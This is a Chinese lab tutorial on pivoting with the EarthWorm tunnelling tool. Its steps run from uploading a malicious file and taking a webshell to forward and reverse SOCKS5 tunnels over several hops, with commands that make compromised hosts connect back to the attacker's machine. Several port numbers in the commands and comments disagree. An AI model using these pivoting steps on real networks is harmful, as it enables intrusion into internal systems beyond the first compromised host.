安全攻防 | EarthWorm 代理

  • A+
所属分类:安全工具

EW(Earthworm)是一套便携式的网络穿透工具,具有SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。


下载地址:https://github.com/idlefire/ew

官方网站:http://rootkiter.com/EarthWorm/


EW的指令信息如下所示:

-s   选择功能类型:  共包含6种功能:            ssocksd:正向代理             rcsocks:反向代理1,流量转发             rssocks:反向代理2,反弹socks5             lcx_listen:反向代理1,流量转发             lcx_tran:端口转发             lcx_slave:端口绑定   -l    指定要监听的本地端口    -d   指定要反弹到的机器 ip   -e   指定要反弹到的机器端口   -f    指定要主动连接的机器 ip   -g   指定要主动连接的机器端口   -t    指定超时时长,默认为1000


接下来将带领大家介绍在不同网络环境下EW工具的使用方式:


案例1、正向代理功能


安全攻防 | EarthWorm 代理

如图所示:


Hack  IP地址为:192.168.1.130

Host1 为双网卡:NET1 192.168.1.128、NET2 192.16.2.130

Host2 IP地址为:192.16.2.131


攻击方式:


攻击者(Hack) 首先攻击Host1服务器,并获取shell权限,然后将Host1服务器当作跳板,进而发起对Host2主机的进攻;


(1)网络文件上传,恶意文件;


安全攻防 | EarthWorm 代理


(2)蚁剑远程连接,查看Host1系统为windows系统,上传ew_win32.exe可执行程序文件;


安全攻防 | EarthWorm 代理


(3)在Host1主机上启动socks5服务并监听1080端口;


./ew -s ssocksd -l 9999  //在9999端口上开启socks代理,ssocksd提供正向代理功能


安全攻防 | EarthWorm 代理


(4) 修改proxychains配置文件,kali系统默认文件路径为 /etc/proxychains.conf


[ProxyList] # add proxy here ... socks5  192.168.1.128 9999


(5) 通过代理,利用nmap扫描工具对Host2主机进行端口扫描;


安全攻防 | EarthWorm 代理


案例2、向代理功能


安全攻防 | EarthWorm 代理


如图所示:


Hack  IP地址为:192.168.1.130

Host1 为双网卡:NET1 192.168.1.128、NET2 192.16.2.130

Host2 IP地址为:192.16.2.131


攻击方式:


(1) 由于场景中目标机Host1没有公网IP,但是能访问公网。因为V1没有具体地址,无法使用正向连接,可使用反弹连接的方式代理流量。  在攻击机Hack本地启动流量转发,将来自外部1080端口的流量转发到本地8888端口,并等待目标反弹连接:


./ew -s rcsocks -l 1080 -e 9999  //将1080端口收到的代理请求转发给反连9999端口的主机


安全攻防 | EarthWorm 代理


(2) 在目标机Host1上启动socks5服务,并反弹到攻击机Hack的9999端口:


./ew -s rssocks -d 192.168.1.130 -e 9999  //内网跳板反弹连接到攻击机的8888端口

安全攻防 | EarthWorm 代理


(3)修改proxychains配置文件,kali系统默认文件路径为 /etc/proxychains.conf


[ProxyList] # add proxy here ... socks5  192.168.1.130 1080


(4) 通过代理,利用nmap扫描工具对Host2主机进行端口扫描;

proxychains nmap -Pn -sT 192.16.2.131 -p80,22


安全攻防 | EarthWorm 代理


案例3、二级正向代理功能


安全攻防 | EarthWorm 代理


如图所示:


Hack  IP地址为:192.168.1.130

Host1 为双网卡:NET1 192.168.1.128、NET2 192.16.2.130

Host2 IP地址为:192.16.2.131、NET2 10.10.3.130


攻击方式:


(1) 在Host1主机上启动socks5服务并监听1080端口;

(2) 修改proxychains配置文件,kali系统默认文件路径为 

/etc/proxychains.conf;


./ew -s ssocksd -l 1080
[ProxyList] # add proxy here ... socks5  192.168.1.128 1080


安全攻防 | EarthWorm 代理


(2)通过proxychains执行firefox 并访问网站,进行恶意文件上传;


安全攻防 | EarthWorm 代理


(3)在蚁剑中添加代理,并进行远程连接;


安全攻防 | EarthWorm 代理


(4)查看,此时获得的主机为linux系统,并在该主机(Host2)上启动socks5代理并监听9999端口:


安全攻防 | EarthWorm 代理


(5) 在Host1主机上进行流量转发,Host1监听1082端口,并反向连接Host2主机,将Host1的1082端口与Host2主机的9999端口进行绑定;


安全攻防 | EarthWorm 代理


(6)修改proxychains配置文件,kali系统默认文件路径为 /etc/proxychains.conf;


[ProxyList] # add proxy here ... socks5  192.168.1.128 1082


(7) 通过代理,利用nmap扫描工具对Host3主机进行端口扫描;


安全攻防 | EarthWorm 代理


案例4、二级反向代理功能


安全攻防 | EarthWorm 代理


如图所示:


Hack  IP地址为:192.168.1.130

Host1 为双网卡:NET1 192.168.1.128、NET2 192.16.2.130

Host2 IP地址为:192.16.2.131、NET2 10.10.3.130


(1) 在攻击机Hack本地启动流量转发,将来自外部1080端口的流量转发到本地8888端口,并等待目标反弹连接:


./ew -s lcx_listen -l 1080 -e 8888


安全攻防 | EarthWorm 代理


(2) 在经过一系列操作以后,获取Host1 shell权限,在Host1主机上执行socks反弹到Hack主机的监听端口8888:


./ew -s rssocks -d 192.168.1.130 -e 8888 //内网跳板反弹连接到攻击机的8888端口


安全攻防 | EarthWorm 代理


(3)修改proxychains配置文件,kali系统默认文件路径为 /etc/proxychains.conf;


[ProxyList] # add proxy here ... socks5  192.168.1.130 1080


(4) 通过代理,利用nmap扫描工具对Host2主机进行端口扫描;


安全攻防 | EarthWorm 代理


(5) 通过代理,访问Host2主机的web服务,并进行恶意文件上传;


安全攻防 | EarthWorm 代理


(5) 蚁剑中设置代理;


安全攻防 | EarthWorm 代理


安全攻防 | EarthWorm 代理


(6) 在Host2主机开启socks5 服务,并监听9999端口;


./ew -s ssocksd -l 9999


安全攻防 | EarthWorm 代理


(7) 在Hack主机,将来自外部1081端口的流量转发到本地7777端口,并等待目标反弹连接;


./ew -s lcx_listen -l 1081 -e 7777


安全攻防 | EarthWorm 代理


(8) 在Host1主机,将Hack的7777端口与Host2的9999端口绑定,建立socks5通道;


ew.exe -s lcx_slave -d 192.168.1.130 -e 7777 -f 192.16.2.131 -g 99

安全攻防 | EarthWorm 代理


(8) 修改proxychains.conf 为192.168.1.130 8081端口,通过代理,利用nmap扫描工具对Host2主机进行端口扫描;


安全攻防 | EarthWorm 代理


案例5、三级正向代理功能


假设目标机Host1有公网IP(139.x.x.x),可以使用正向的方式代理流量。  在Host2上启动流量转发,将Host1的1080端口与V2的9999端口绑定,建立socks5通道:


./ew -s lcx_tran -l 1080 -f 10.10.2.111 -g 9999


在Host2上启动流量转发,将Host2的9999 端口与V3的8888端口绑定,建立socks5通道:


./ew -s lcx_tran - l 9999 -f 10.10.3.111 -g 8888


在目标机Host3上启动socks5代理并监听8888端口:


./ew -s ssocksd -l 8888


方式不止一种:通过场景二中反向代理的方式,从V1→V3架设也能实现。  接着流量代理到139.x.x.x的1080端口,就相当于把流量代理到目标机V3上了。  A1上proxychains代理配置:


[ProxyList]socks5    139.x.x.x    1080


案例6、 三级反向代理功能


在攻击机Hack执行,本地启动流量转发,将来自外部1080端口的流量转发到本地的8888端口,并等待目标反弹连接:


./ew -s rcsocks -l 1080 -e 8888


在Host1执行,将Hack的8888端口与V2的9999端口绑定,建立socks5通道:


./ew -s lcx_slave -d 120.x.x.x -e 8888 -f 10.10.2.111 -g 9999


在Host2执行,本地启动流量转发,将来自外部9999端口的流量转发到本地的7777端口,等待目标机Host3反弹连接:


./ew -s lcx_listen -l 9999 -e 7777


在目标机Host3执行,启动socks5服务,并反弹到Host2的7777端口:


./ew -s rssocks -d 10.10.2.111-e 7777


代理通道架设完毕,访问Hack的1080相当于访问Host3的7777端口,在攻击机Hack上使用proxychain将流量代理到本地1080端口,相当于把流量代理到目标机Host3上了,在A1上发起请求相当于在Host3上发起请求。  Hack上proxychains代理配置:


[ProxyList]socks5    127.0.0.1    1080


最后在Host1执行,将Hack的8888端口与Host2的9999端口绑定,建立socks5通道。



- 往期推荐 -



安全攻防 | reGeorg+Proxifier代理工具


安全攻防 | CobaltStrike代理工具
安全攻防 | Metasploit代理工具


【推荐书籍】

本文始发于微信公众号(贝塔安全实验室):安全攻防 | EarthWorm 代理

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: